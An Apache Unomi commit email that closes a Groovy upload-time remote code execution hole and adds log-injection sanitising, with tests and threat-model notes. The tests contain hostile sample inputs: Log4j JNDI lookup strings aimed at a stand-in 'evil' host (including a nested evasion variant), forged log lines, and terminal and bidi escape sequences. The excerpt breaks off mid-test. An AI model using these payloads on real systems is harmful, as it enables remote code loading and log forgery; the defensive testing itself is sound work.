This is an automated email from the ASF dual-hosted git repository.

asf-gitbox-commits pushed a commit to branch 
UNOMI-972-credentials-profile-binding-privileged-rest
in repository https://gitbox.apache.org/repos/asf/unomi.git


The following commit(s) were added to 
refs/heads/UNOMI-972-credentials-profile-binding-privileged-rest by this push:
     new 2179ed211 UNOMI-972: stop Groovy uploads executing at compile time, 
and keep untrusted input out of the logs
2179ed211 is described below

commit 2179ed21149430cfbf6e0c02358b7f09aa58885f
Author: Serge Huber <[email protected]>
AuthorDate: Sat Aug 8 21:55:23 2026 +0200

    UNOMI-972: stop Groovy uploads executing at compile time, and keep 
untrusted input out of the logs
    
    Groovy action upload was remote code execution before any rule dispatched 
the
    action. GroovyShell#parse returns a Script *instance*, and constructing it 
runs
    the script's field initializers, so a script carrying a @Field initializer
    executed at save time. Every caller here only needs the compiled Class, to 
read
    the @Action annotation or check for execute(), so compilation now goes 
through
    parseClass and nothing is instantiated until the action actually runs.
    
    This is not a sandbox and is not meant to be one: a Groovy action runs
    unrestricted in the server JVM, so uploading one is equivalent to shell 
access on
    the host. THREAT_MODEL.md now states that outright, records why no sandbox 
is
    planned (the SecurityManager is disabled in current JDKs, 
SecureASTCustomizer is
    a compile-time syntax restriction that dynamic dispatch routes around), and 
adds
    the matching non-finding entry so future reports of "Groovy is not 
sandboxed"
    triage consistently. The controls are the ADMINISTRATOR role added earlier, 
this
    change, and a WARN-level audit record of every save and remove carrying the
    script's SHA-256.
    
    The audit record led to the second half. Values arriving over the network 
were
    already reaching log messages verbatim - body profileId, cookie values, 
session
    ids, event property names, and the uploaded filename - so a newline in any 
of
    them lets an attacker forge log records, including the record of their own
    upload. A LogSanitizer already existed for the REST exception mappers but 
was
    package-private and unreachable from the other bundles; the filter now 
lives once
    in org.apache.unomi.api.utils and the REST one delegates to it. Verified
    behaviour-preserving by differential test against the previous 
implementation
    over every BMP code unit, the truncation boundaries and 20k fuzz iterations.
    
    The Groovy action name gets a rejection at the entry point rather than
    sanitization at each of its dozen log sites, since it is also a persistence 
id
    and a cache key where a control character is never legitimate. That check 
covers
    U+2028 and U+2029 explicitly: they are line terminators that
    Character.isISOControl does not report, which is the bypass an 
isISOControl-only
    check would have left open.
    
    Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---
 THREAT_MODEL.md                                    |   2 +
 .../org/apache/unomi/api/utils/LogSanitizer.java   |  78 +++++++
 .../apache/unomi/api/utils/LogSanitizerTest.java   | 227 +++++++++++++++++++++
 .../services/impl/GroovyActionsServiceImpl.java    | 111 +++++++++-
 .../impl/GroovyActionsServiceImplTest.java         | 122 +++++++++++
 .../cxs/actions/fieldInitializerAction.groovy      |  27 +++
 .../META-INF/cxs/actions/rceProofAction.groovy     |  37 ++++
 .../baseplugin/actions/UpdatePropertiesAction.java |  10 +-
 .../apache/unomi/rest/exception/LogSanitizer.java  |  21 +-
 .../rest/service/impl/RestServiceUtilsImpl.java    |  12 +-
 10 files changed, 623 insertions(+), 24 deletions(-)

diff --git a/THREAT_MODEL.md b/THREAT_MODEL.md
index 58b8d7a59..2256af7f7 100644
--- a/THREAT_MODEL.md
+++ b/THREAT_MODEL.md
@@ -133,6 +133,7 @@ Per-surface trust table:
 - **No protection if the admin REST/GraphQL APIs are exposed to the public 
network** — keeping the admin surface off the public network is the operator's 
job (§10). On **pre-3.1** builds this disclaimer also covered leaving the 
documented default JAAS password unchanged (§5a layer 1). It does **not** 
extend to 3.1 and later: 3.1 ships no known default, so a credential that works 
without the operator having configured one is a defect there, not a disclaimed 
property (§5a layer 2). *(maint [...]
 - **No confidentiality/integrity for the ES/OS backend or its network** — 
Unomi assumes a secured backend; it does not defend an exposed Elasticsearch. 
*(inferred)*
 - **Not a sandbox for system-administrator-authored expressions/plugins** — a 
system admin with condition/scripting authority can run server-side logic by 
design; that power is not contained. *(maintainer — §14 Q7)* **False friend:** 
the presence of the scripting/expression allow-list protects the *public* 
surface; it is not a sandbox that makes arbitrary admin-authored expressions 
safe. **This disclaimer does not cover tenant-administrator script upload or 
Camel config that reaches host [...]
+- **No sandbox for uploaded Groovy actions — uploading one is equivalent to 
shell access on the host.** A Groovy action is compiled and dispatched 
unrestricted inside the server JVM, with the server's user, classpath and 
network reach, and it is persisted and re-run. Treat `POST /cxs/groovyActions` 
as remote code execution *by design*, and the credential that reaches it as a 
host credential. From 3.1 the endpoint requires the **system** `ADMINISTRATOR` 
role — a tenant administrator (tena [...]
 - **No guarantee that possession of a visitor `profileId` UUID is hard** — the 
id is a bearer token; confidentiality of the cookie (and flags such as 
HttpOnly) is largely an operator/frontend concern, though unsafe defaults may 
be `VALID-HARDENING`. *(maintainer)*
 - **No guarantee of correctness of analytics/segmentation under adversarial 
event injection** beyond the access-control boundary. *(inferred)*
 - **Well-known classes left to the caller/operator:** expression-injection 
(the CVE class — defended by constraining the public surface), 
event/PII-exposure via a misconfigured public endpoint, DoS via event floods, 
and deploying sample identity-merge rules without verified identity (§11). 
*(documented history; maintainer framing)*
@@ -167,6 +168,7 @@ Per-surface trust table:
 - "Public `/context.json` returns profile data for a supplied `profileId`" — 
**by design** when that id is the caller’s bearer (cookie / equivalent). Not 
automatically `VALID` as “IDOR” merely because the attacker knows the UUID. 
`VALID` / `VALID-HARDENING` when the body id is accepted **without** matching 
the bearer cookie, when session load switches profile without ownership, or 
when cookie flags make XSS→id theft trivial by unsafe default. *(maintainer)*
 - "Elasticsearch reachable / no TLS" — operator deployment responsibility 
(§9/§10). *(inferred)*
 - "System administrator can run dangerous operation X" — out-of-model: system 
admin is trusted (§7). **Does not apply** to tenant administrator achieving 
host RCE, arbitrary file read, or cross-tenant access — those are §8 
violations. *(maintainer — §14 Q8a)*
+- "Uploaded Groovy actions are not sandboxed / run arbitrary commands" — 
out-of-model against **3.1 and later**: upload requires the system 
`ADMINISTRATOR` role, and unrestricted execution is the documented, intended 
property of the feature (§9). `VALID` only if it shows a **lower privilege than 
system administrator** reaching upload (tenant private key, public key, 
unauthenticated), execution occurring at **upload/compile time** rather than at 
dispatch, or the role gate being bypassable [...]
 - "The shipped default admin password works on a fresh install" — against 
**pre-3.1** builds: documented must-configure (§5a layer 1); not `VALID` solely 
on that basis. That class of report was accepted as **`VALID-HARDENING` 
motivation** for the 3.1 default-password retirement (§5a layer 2), **which 
shipped in 3.1**. Against **3.1 and later** it is no longer a non-finding: a 
known working default, or any fallback admitting a credential the operator 
never configured, is `VALID`. *(mainta [...]
 
 ## §12 Conditions that would change this model
diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java 
b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
new file mode 100644
index 000000000..0ff89eaf3
--- /dev/null
+++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
@@ -0,0 +1,78 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.api.utils;
+
+/**
+ * Sanitizes untrusted, request-derived values before they are written to a 
log.
+ * <p>
+ * Anything that arrives over the network is attacker-controlled, so writing 
it verbatim into a log
+ * makes the log itself an attack surface: an embedded newline lets an 
attacker forge log records
+ * (making a real attack look like routine traffic, or implicating someone 
else), control characters
+ * can corrupt terminals and log shippers, and an unbounded value can flood 
the log. Security
+ * warnings are the worst place for this, because those are exactly the lines 
shipped to a SIEM and
+ * trusted during incident response.
+ * <p>
+ * Values that never leave the server — enum names, role sets, hashes, rule 
configuration authored by
+ * an administrator — do not need this. Use it for request bodies, headers, 
cookies, query and path
+ * parameters, uploaded filenames, and event properties.
+ */
+public final class LogSanitizer {
+
+    /** Long enough to identify a value, short enough that it cannot flood the 
log. */
+    private static final int MAX_LENGTH = 200;
+
+    private LogSanitizer() {
+    }
+
+    /**
+     * Replaces every character that is not printable ASCII, and every 
log-format marker
+     * ({@code \ { } % $}), with an underscore, then truncates. This removes 
the newlines and control
+     * characters used for log injection, and neutralises markers that a 
downstream log formatter
+     * might otherwise interpret.
+     *
+     * @param input the untrusted value, may be {@code null}
+     * @return a value that is always safe to place in a log message; {@code 
"null"} when input was null
+     */
+    public static String forLogging(String input) {
+        return forLogging(input, MAX_LENGTH);
+    }
+
+    /**
+     * As {@link #forLogging(String)}, but with a caller-chosen length limit 
for contexts that need
+     * more room (a request URL, an exception message) than the default.
+     *
+     * @param input     the untrusted value, may be {@code null}
+     * @param maxLength the length beyond which the value is truncated
+     * @return a value that is always safe to place in a log message; {@code 
"null"} when input was null
+     */
+    public static String forLogging(String input, int maxLength) {
+        if (input == null) {
+            return "null";
+        }
+        String value = input.length() > maxLength ? input.substring(0, 
maxLength) + "...[truncated]" : input;
+        StringBuilder sanitized = new StringBuilder(value.length());
+        for (int i = 0; i < value.length(); i++) {
+            char c = value.charAt(i);
+            if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && 
c != '%' && c != '$') {
+                sanitized.append(c);
+            } else {
+                sanitized.append('_');
+            }
+        }
+        return sanitized.toString();
+    }
+}
diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java 
b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
new file mode 100644
index 000000000..6eee9ffb1
--- /dev/null
+++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
@@ -0,0 +1,227 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.api.utils;
+
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * The values this guards are attacker-controlled by definition — uploaded 
filenames, event property
+ * names, cookies, session ids — so these are the cases an attacker would 
actually try.
+ */
+public class LogSanitizerTest {
+
+    /**
+     * The core defence: a newline would let an attacker close the current log 
record and write their
+     * own, forging an entry that an operator or SIEM would read as genuine.
+     */
+    @Test
+    public void newlinesCannotForgeALogRecord() {
+        String forged = "innocent.groovy\n2026-08-08 12:00:00 WARN  AUDIT 
groovy-action save: action=already-approved";
+
+        String sanitized = LogSanitizer.forLogging(forged);
+
+        assertFalse("a newline must not survive into the log", 
sanitized.contains("\n"));
+        assertFalse("a carriage return must not survive into the log", 
sanitized.contains("\r"));
+        assertTrue("the original text should still be recognisable", 
sanitized.startsWith("innocent.groovy_"));
+    }
+
+    @Test
+    public void controlCharactersAreReplaced() {
+        // ESC is what makes an ANSI sequence act on a terminal; the "[2J" 
after it is ordinary
+        // printable text, which is why only the ESC itself needs replacing.
+        String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d");
+
+        assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0);
+        assertFalse("TAB must not survive", sanitized.contains("\t"));
+        assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0);
+        assertEquals("a_[2Jb_c_d", sanitized);
+    }
+
+    /** {@code {} $ %} are formatter markers; a downstream pattern layout must 
not act on them. */
+    @Test
+    public void logFormatMarkersAreNeutralised() {
+        String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} 
%n");
+
+        assertFalse(sanitized.contains("$"));
+        assertFalse(sanitized.contains("{"));
+        assertFalse(sanitized.contains("}"));
+        assertFalse(sanitized.contains("%"));
+    }
+
+    @Test
+    public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() {
+        String sanitized = LogSanitizer.forLogging(repeat("a", 5000));
+
+        assertTrue(sanitized.endsWith("...[truncated]"));
+        assertTrue("truncated output must stay bounded", sanitized.length() < 
300);
+    }
+
+    @Test
+    public void callerSuppliedLimitIsHonoured() {
+        assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 
3));
+    }
+
+    @Test
+    public void ordinaryValuesArePassedThroughUnchanged() {
+        assertEquals("myAction", LogSanitizer.forLogging("myAction"));
+        assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890",
+                
LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890"));
+    }
+
+    /** Distinguishable from an empty value, so an audit record never silently 
loses a field. */
+    @Test
+    public void nullBecomesAnExplicitMarker() {
+        assertEquals("null", LogSanitizer.forLogging(null));
+    }
+
+    // 
---------------------------------------------------------------------------------------
+    // Evasion attempts. Each of these defeats at least one naive 
implementation of this filter.
+    // 
---------------------------------------------------------------------------------------
+
+    /**
+     * The classic bypass of a {@code Character.isISOControl} check: U+2028 
and U+2029 are Unicode
+     * line terminators but are <em>not</em> ISO controls, so a validator 
written against that
+     * predicate lets them through while JSON log pipelines and JS-based log 
viewers still break the
+     * line on them. An allowlist of printable ASCII is immune; a denylist of 
control characters is not.
+     */
+    @Test
+    public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() {
+        assertFalse(Character.isISOControl('\u2028'));
+        assertFalse(Character.isISOControl('\u2029'));
+
+        String sanitized = 
LogSanitizer.forLogging("a\u2028forged\u2029line\u0085nel");
+
+        assertEquals("a_forged_line_nel", sanitized);
+    }
+
+    /**
+     * Log4j lookup evasion: the payload hides {@code jndi} behind a nested 
lookup so a filter
+     * searching for the literal string "jndi" misses it. Filtering the {@code 
$} and braces that
+     * make a lookup a lookup defeats the whole family, known and unknown.
+     */
+    @Test
+    public void nestedLookupEvasionIsNeutralised() {
+        String sanitized = 
LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}";);
+
+        assertFalse(sanitized.contains("$"));
+        assertFalse(sanitized.contains("{"));
+        assertFalse(sanitized.contains("}"));
+        assertTrue("the text should survive in inert form", 
sanitized.contains("ldap://evil/a";));
+    }
+
+    /**
+     * A lone high surrogate at the truncation boundary. Cutting a string with 
{@code substring} can
+     * split a surrogate pair and leave an unpaired half, which some appenders 
and JSON encoders
+     * reject or mangle. Filtering after truncation means the orphan is 
replaced like any other
+     * non-ASCII char, so the result is always well-formed.
+     */
+    @Test
+    public void truncationCannotLeaveAnUnpairedSurrogate() {
+        String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair
+        StringBuilder payload = new StringBuilder();
+        for (int i = 0; i < 199; i++) {
+            payload.append('a');
+        }
+        payload.append(emoji);
+
+        String sanitized = LogSanitizer.forLogging(payload.toString());
+
+        for (int i = 0; i < sanitized.length(); i++) {
+            assertFalse("no unpaired surrogate may survive", 
Character.isSurrogate(sanitized.charAt(i)));
+        }
+    }
+
+    /**
+     * Terminal control: BS overwrites already-printed characters and ESC]0; 
retitles the window, so
+     * an attacker can make a log line read as something else entirely in a 
live terminal.
+     */
+    @Test
+    public void terminalRewritingSequencesAreRemoved() {
+        String sanitized = 
LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007");
+
+        assertFalse(sanitized.contains("\b"));
+        assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0);
+        assertTrue(sanitized.startsWith("denied"));
+    }
+
+    /**
+     * Right-to-left override reverses the display order of everything after 
it, so a log entry can
+     * be made to read backwards — {@code deined} for {@code denied} — without 
changing the bytes a
+     * grep would match.
+     */
+    @Test
+    public void bidiOverrideCannotReorderTheDisplayedLine() {
+        String sanitized = 
LogSanitizer.forLogging("action=\u202egnitirw\u202c");
+
+        assertFalse(sanitized.contains("\u202e"));
+        assertFalse(sanitized.contains("\u202c"));
+    }
+
+    /** Zero-width characters split a token so an exact-match SIEM rule no 
longer fires on it. */
+    @Test
+    public void zeroWidthCharactersCannotHideATokenFromSearch() {
+        String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff");
+
+        assertFalse(sanitized.contains("\u200b"));
+        assertFalse(sanitized.contains("\ufeff"));
+        assertEquals("ad_min_", sanitized);
+    }
+
+    /**
+     * A payload placed beyond the truncation point must not come back: 
truncation happens first, so
+     * anything past the limit is gone before it can be interpreted.
+     */
+    @Test
+    public void payloadHiddenBeyondTheTruncationPointIsDropped() {
+        String sanitized = LogSanitizer.forLogging(repeat("a", 400) + "\nWARN 
forged-record");
+
+        assertFalse(sanitized.contains("forged-record"));
+        assertFalse(sanitized.contains("\n"));
+    }
+
+    /**
+     * An escaped newline: if any downstream formatter or JSON decoder 
unescapes the value, a
+     * surviving backslash would become a real newline. Filtering the 
backslash removes that
+     * second-order path.
+     */
+    @Test
+    public void escapedNewlineCannotBeRevivedDownstream() {
+        String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac");
+
+        assertFalse("no backslash may survive to be unescaped later", 
sanitized.contains("\\"));
+    }
+
+    /** Sanitizing twice must equal sanitizing once, or nested logging would 
corrupt the value. */
+    @Test
+    public void sanitizationIsIdempotent() {
+        String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00");
+
+        assertEquals(once, LogSanitizer.forLogging(once));
+    }
+
+    private static String repeat(String s, int times) {
+        StringBuilder sb = new StringBuilder(s.length() * times);
+        for (int i = 0; i < times; i++) {
+            sb.append(s);
+        }
+        return sb.toString();
+    }
+}
diff --git 
a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
 
b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
index 40c02a7ae..1012b32e3 100644
--- 
a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
+++ 
b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
@@ -23,6 +23,7 @@ import groovy.lang.Script;
 import groovy.util.GroovyScriptEngine;
 import org.apache.commons.io.FilenameUtils;
 import org.apache.commons.io.IOUtils;
+import org.apache.unomi.api.ExecutionContext;
 import org.apache.unomi.api.Metadata;
 import org.apache.unomi.api.Parameter;
 import org.apache.unomi.api.actions.ActionType;
@@ -32,6 +33,7 @@ import org.apache.unomi.api.services.SchedulerService;
 import org.apache.unomi.api.services.cache.CacheableTypeConfig;
 import org.apache.unomi.api.services.cache.MultiTypeCacheService;
 import org.apache.unomi.api.tenants.TenantService;
+import org.apache.unomi.api.utils.LogSanitizer;
 import org.apache.unomi.groovy.actions.GroovyAction;
 import org.apache.unomi.groovy.actions.GroovyBundleResourceConnector;
 import org.apache.unomi.groovy.actions.ScriptMetadata;
@@ -58,6 +60,8 @@ import java.io.InputStream;
 import java.io.Serializable;
 import java.net.URL;
 import java.nio.charset.StandardCharsets;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
 import java.util.*;
 import java.util.concurrent.ConcurrentHashMap;
 import java.util.stream.Collectors;
@@ -301,7 +305,7 @@ public class GroovyActionsServiceImpl extends 
AbstractMultiTypeCachingService im
             // Extract Action annotation and register the ActionType
             try {
                 synchronized(compilationLock) {
-                    Action actionAnnotation = 
compilationShell.parse(groovyCodeSource).getClass().getMethod("execute").getAnnotation(Action.class);
+                    Action actionAnnotation = 
compileToClass(groovyCodeSource).getMethod("execute").getAnnotation(Action.class);
                     if (actionAnnotation != null) {
                         contextManager.executeAsSystem(() -> {
                             saveActionType(actionAnnotation);
@@ -407,7 +411,7 @@ public class GroovyActionsServiceImpl extends 
AbstractMultiTypeCachingService im
             try {
                 GroovyCodeSource groovyCodeSource = new 
GroovyCodeSource(script, actionName, "/groovy/script");
                 synchronized(compilationLock) {
-                    
compilationShell.parse(groovyCodeSource).getClass().getMethod("execute");
+                    compileToClass(groovyCodeSource).getMethod("execute");
                 }
                 // Note: We don't extract or save the ActionType here
             } catch (NoSuchMethodException e) {
@@ -471,16 +475,113 @@ public class GroovyActionsServiceImpl extends 
AbstractMultiTypeCachingService im
         }
     }
 
+    /**
+     * Rejects an action name containing control characters.
+     * <p>
+     * The name is caller-supplied — on the REST path it is the uploaded 
multipart filename — and it
+     * becomes a persistence id, a cache key, a {@code GroovyCodeSource} name 
and a field in a dozen
+     * log messages. A newline in it would let an uploader forge log records, 
including the audit
+     * record of their own upload. Rejecting at the entry point fixes every 
one of those uses at
+     * once, and keeps future log statements safe without each having to 
remember to sanitize.
+     * <p>
+     * Deliberately a rejection rather than a rewrite: silently altering the 
name would change the id
+     * an action is stored and looked up under.
+     */
+    private void validateNoControlCharacters(String value, String 
parameterName) {
+        for (int i = 0; i < value.length(); i++) {
+            char c = value.charAt(i);
+            // U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR are line 
terminators but are NOT
+            // ISO controls, so isISOControl alone lets them through while 
JSON log pipelines and
+            // JS-based log viewers still break the line on them. Checking 
them explicitly closes
+            // that bypass; see 
LogSanitizerTest#unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved.
+            if (Character.isISOControl(c) || c == '\u2028' || c == '\u2029') {
+                throw new IllegalArgumentException(
+                        parameterName + " must not contain control characters 
(found one at position " + i + ")");
+            }
+        }
+    }
+
     /**
      * Thread-safe script compilation using synchronized shared shell.
      */
     private Class<? extends Script> compileScript(String actionName, String 
scriptContent) {
         GroovyCodeSource codeSource = new GroovyCodeSource(scriptContent, 
actionName, "/groovy/script");
         synchronized(compilationLock) {
-            return compilationShell.parse(codeSource).getClass();
+            return compileToClass(codeSource);
+        }
+    }
+
+    /**
+     * Records every change to the deployed Groovy actions at WARN.
+     * <p>
+     * A Groovy action runs unrestricted in the server JVM, so saving one is 
equivalent to granting
+     * shell access to the host. There is no sandbox to fall back on — the 
Java SecurityManager is
+     * removed, and Groovy's {@code SecureASTCustomizer} is a compile-time 
syntax restriction that
+     * dynamic dispatch routes around — so the controls are the ADMINISTRATOR 
role on the endpoint
+     * and this record of who changed what. WARN rather than INFO 
deliberately: this must survive a
+     * production log configuration that drops INFO, otherwise there is no 
trace of the change.
+     * <p>
+     * The script hash lets an operator tell an unchanged redeploy from a 
modified script, and gives
+     * incident response something to compare against a known-good inventory, 
without writing
+     * possibly-sensitive script bodies to the log. The tenant and role set 
come from the current
+     * execution context; the authenticated principal is in the REST access 
log for the same request.
+     *
+     * @param operation  the change being made, {@code save} or {@code remove}
+     * @param actionName the action being changed
+     * @param script     the script being stored, or {@code null} when removing
+     */
+    private void auditScriptChange(String operation, String actionName, String 
script) {
+        String tenantId = "unknown";
+        String roles = "unknown";
+        try {
+            ExecutionContext context = contextManager.getCurrentContext();
+            if (context != null) {
+                tenantId = context.getTenantId();
+                roles = String.valueOf(context.getRoles());
+            }
+        } catch (RuntimeException e) {
+            // An audit record with less detail beats losing the record, and 
beats failing the
+            // operation over its own logging.
+            LOGGER.debug("Could not resolve the execution context for the 
Groovy action audit record", e);
+        }
+        // actionName is caller-supplied (the uploaded multipart filename, or 
the DELETE path
+        // parameter), so it must not reach the log verbatim: a newline in it 
would let an uploader
+        // forge additional audit records and hide their own. The hash and the 
role set are
+        // server-generated and safe as-is.
+        LOGGER.warn("AUDIT groovy-action {}: action={} tenant={} roles={} 
scriptSha256={}",
+                operation, LogSanitizer.forLogging(actionName), 
LogSanitizer.forLogging(tenantId), roles,
+                script == null ? "n/a" : sha256(script));
+    }
+
+    private static String sha256(String value) {
+        try {
+            byte[] digest = 
MessageDigest.getInstance("SHA-256").digest(value.getBytes(StandardCharsets.UTF_8));
+            StringBuilder hex = new StringBuilder(digest.length * 2);
+            for (byte b : digest) {
+                hex.append(String.format("%02x", b));
+            }
+            return hex.toString();
+        } catch (NoSuchAlgorithmException e) {
+            // SHA-256 is mandated by the JLS, so this cannot happen on a 
valid JRE.
+            return "unavailable";
         }
     }
 
+    /**
+     * Compiles a script to its Class without instantiating it.
+     * <p>
+     * Deliberately {@code parseClass} and not {@code GroovyShell#parse}: 
{@code parse} returns a
+     * {@code Script} <em>instance</em>, and constructing that instance runs 
the script's field
+     * initializers. An uploaded script carrying a Groovy {@code @Field} 
initializer would therefore
+     * execute at upload/compile time, before any rule ever dispatches it. 
Every caller here only
+     * needs the compiled Class (to read the {@code @Action} annotation or 
check for {@code execute}),
+     * so nothing needs to be instantiated until the action is actually run.
+     */
+    @SuppressWarnings("unchecked")
+    private Class<? extends Script> compileToClass(GroovyCodeSource 
codeSource) {
+        return (Class<? extends Script>) 
compilationShell.getClassLoader().parseClass(codeSource, false);
+    }
+
     /**
      * Compiles a script and creates metadata with timing information.
      */
@@ -520,9 +621,11 @@ public class GroovyActionsServiceImpl extends 
AbstractMultiTypeCachingService im
     @Override
     public void save(String actionName, String groovyScript) {
         validateNotEmpty(actionName, "Action name");
+        validateNoControlCharacters(actionName, "Action name");
         validateNotEmpty(groovyScript, "Groovy script");
 
         long startTime = System.currentTimeMillis();
+        auditScriptChange("save", actionName, groovyScript);
         LOGGER.info("Saving script: {}", actionName);
 
         try {
@@ -584,7 +687,9 @@ public class GroovyActionsServiceImpl extends 
AbstractMultiTypeCachingService im
     @Override
     public void remove(String actionName) {
         validateNotEmpty(actionName, "Action name");
+        validateNoControlCharacters(actionName, "Action name");
 
+        auditScriptChange("remove", actionName, null);
         LOGGER.info("Removing script: {}", actionName);
 
         // Snapshot the metadata before the locked removal so we can extract 
the @Action
diff --git 
a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
 
b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
index 94536a296..d41314741 100644
--- 
a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
+++ 
b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
@@ -16,6 +16,7 @@
  */
 package org.apache.unomi.groovy.actions.services.impl;
 
+import groovy.lang.GroovyShell;
 import groovy.lang.Script;
 import org.apache.unomi.api.Event;
 import org.apache.unomi.api.ExecutionContext;
@@ -46,11 +47,15 @@ import org.osgi.framework.BundleContext;
 import org.osgi.framework.wiring.BundleWiring;
 
 import java.net.URL;
+import java.io.File;
 import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.util.*;
 
 import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -172,6 +177,123 @@ public class GroovyActionsServiceImplTest {
         });
     }
 
+    /**
+     * Saving an action compiles it; it must not instantiate it. A Groovy 
{@code @Field} initializer
+     * runs at instantiation, so if save() ever goes back to {@code 
GroovyShell#parse} an uploaded
+     * script executes at upload time, before any rule dispatches it — the 
reported RCE vector.
+     */
+    @Test
+    public void testSaveDoesNotRunFieldInitializers() throws Exception {
+        System.clearProperty("unomi.test.groovyFieldInitializerRan");
+        String groovyScript = loadGroovyScript(
+            "/META-INF/cxs/actions/fieldInitializerAction.groovy",
+            "Could not find the field-initializer test Groovy action file");
+        try {
+            contextManager.executeAsTenant(TENANT_1, () -> {
+                groovyActionsService.save("fieldInitializerAction", 
groovyScript);
+            });
+            assertNull("Saving a Groovy action must compile it without 
instantiating it, so a @Field "
+                            + "initializer must not execute at upload time",
+                    
System.getProperty("unomi.test.groovyFieldInitializerRan"));
+        } finally {
+            System.clearProperty("unomi.test.groovyFieldInitializerRan");
+        }
+    }
+
+    /**
+     * Regression test for the reported upload-time RCE: uploading a Groovy 
action whose {@code @Field}
+     * initializer runs an OS command used to execute that command at save 
time, as the server user,
+     * before any rule dispatched the action.
+     * <p>
+     * The positive control matters as much as the assertion. It runs the same 
payload through a plain
+     * {@link GroovyShell} first and requires the proof file to appear, which 
establishes that command
+     * execution really does work on this machine. Without it, a payload that 
silently failed to run —
+     * wrong shell, restricted environment — would make the real assertion 
pass while proving nothing.
+     * <p>
+     * Scope: this covers execution at <em>upload</em> time, which is the 
reported vector. It does not
+     * claim the action is sandboxed when it is later dispatched — a Groovy 
action is arbitrary code by
+     * design, and uploading one now requires the system ADMINISTRATOR role.
+     */
+    @Test
+    public void testSaveDoesNotExecuteUploadedCommands() throws Exception {
+        assumeTrue("requires a POSIX shell to run the payload", new 
File("/bin/sh").canExecute());
+        String groovyScript = loadGroovyScript(
+            "/META-INF/cxs/actions/rceProofAction.groovy",
+            "Could not find the RCE proof test Groovy action file");
+
+        Path tempDir = Files.createTempDirectory("unomi-rce-proof");
+        Path proof = tempDir.resolve("rce-proof");
+        System.setProperty("unomi.test.rceProofPath", proof.toString());
+        try {
+            // Positive control: instantiating the script DOES run the 
payload, so the payload is live.
+            new GroovyShell().parse(stripActionAnnotation(groovyScript));
+            assertTrue("positive control failed: the payload did not execute 
even via GroovyShell#parse, "
+                            + "so the real assertion below would prove nothing 
on this machine",
+                    Files.exists(proof));
+            Files.delete(proof);
+
+            // The actual assertion: saving the very same script must not run 
it.
+            contextManager.executeAsTenant(TENANT_1, () -> {
+                groovyActionsService.save("rceProofAction", groovyScript);
+            });
+
+            assertFalse("Uploading a Groovy action must not execute it: the 
